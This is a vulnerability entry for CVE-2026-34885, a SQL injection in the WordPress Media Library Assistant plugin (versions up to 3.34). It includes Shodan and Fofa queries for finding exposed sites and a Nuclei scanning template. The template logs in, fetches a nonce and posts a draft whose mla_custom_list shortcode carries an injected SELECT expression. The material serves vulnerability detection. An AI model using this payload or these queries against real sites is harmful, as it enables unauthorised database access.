SecurityContext

CVE-2026-34885: WordPress Media Library Assistant <= 3.34 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 8.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L
  • Epss score: 0.01705
  • Epss percentile: 0.7788
  • Not known: cpe

Metadata

  • Fofa-query: body="/wp-content/plugins/media-library-assistant/"
  • Max-request: 5
  • Shodan-query: http.html:"/wp-content/plugins/media-library-assistant/"
  • Verified: yes

Labels

  • Name: David Lingren Media Library Assistant - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.
  • Remediation: Update to the latest version beyond 3.34.
  • Vulnerability type: sql_injection
  • Vulnerability impact: sql_injection
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-34885
  • Not known: requirements

```yaml

id: CVE-2026-34885

info:

name: WordPress Media Library Assistant <= 3.34 - SQL Injection

author: theamanrawat

severity: high

description: |

David Lingren Media Library Assistant <= 3.34 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

impact: |

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.

remediation: |

Update to the latest version beyond 3.34.

reference:

- https://patchstack.com/database/vulnerability/wordpress-media-library-assistant-plugin-3-34-sql-injection-vulnerability

- https://plugins.svn.wordpress.org/media-library-assistant/tags/

- https://nvd.nist.gov/vuln/detail/CVE-2026-34885

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

cvss-score: 8.5

cve-id: CVE-2026-34885

epss-score: 0.01705

epss-percentile: 0.7788

cwe-id: CWE-89

metadata:

max-request: 5

verified: true

shodan-query: http.html:"/wp-content/plugins/media-library-assistant/"

fofa-query: body="/wp-content/plugins/media-library-assistant/"

tags: cve,cve2026,wp,wordpress,wp-plugin,sqli,media-library-assistant,authenticated

variables:

num: "999999999"

flow: http(1) && http(2) && http(3) && http(4)

http:

- method: GET

path:

- "{{BaseURL}}/wp-content/plugins/media-library-assistant/readme.txt"

matchers:

- type: word

words:

- "Media Library Assistant"

- "Stable tag:"

condition: and

internal: true

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

matchers:

- type: dsl

dsl:

- contains(header, "wordpress_logged_in")

internal: true

- raw:

- |

GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1

Host: {{Hostname}}

extractors:

- type: regex

name: nonce

part: body

group: 0

regex:

- "^[a-f0-9]{10}$"

internal: true

matchers:

- type: dsl

dsl:

- 'status_code == 200'

condition: and

internal: true

- raw:

- |

POST /wp-json/wp/v2/posts HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

X-WP-Nonce: {{nonce}}

{"title":"{{rand_text_alpha(10)}}","content":"[mla_custom_list meta_key=\"_wp_attached_file\" fields=\"(SELECT CONCAT(0x7170787871,md5({{num}}),0x7171787171)) AS meta_value\" no_count=\"true\"]","status":"draft"}

matchers:

- type: dsl

dsl:

- 'status_code == 201'

- 'contains_all(body, "{{md5(num)}}", "content", "rendered")'

condition: and

digest: 490a004630440220173061b0acc4f6132855aba3859e96e3607aff818b962fcd5295da234c8fbddc02206418fcf410178f6fde5dda14689ffa32e4c4d718a2e75c98201adb3dcff28d4d:922c64590222798bb761d5b6d8e72950

```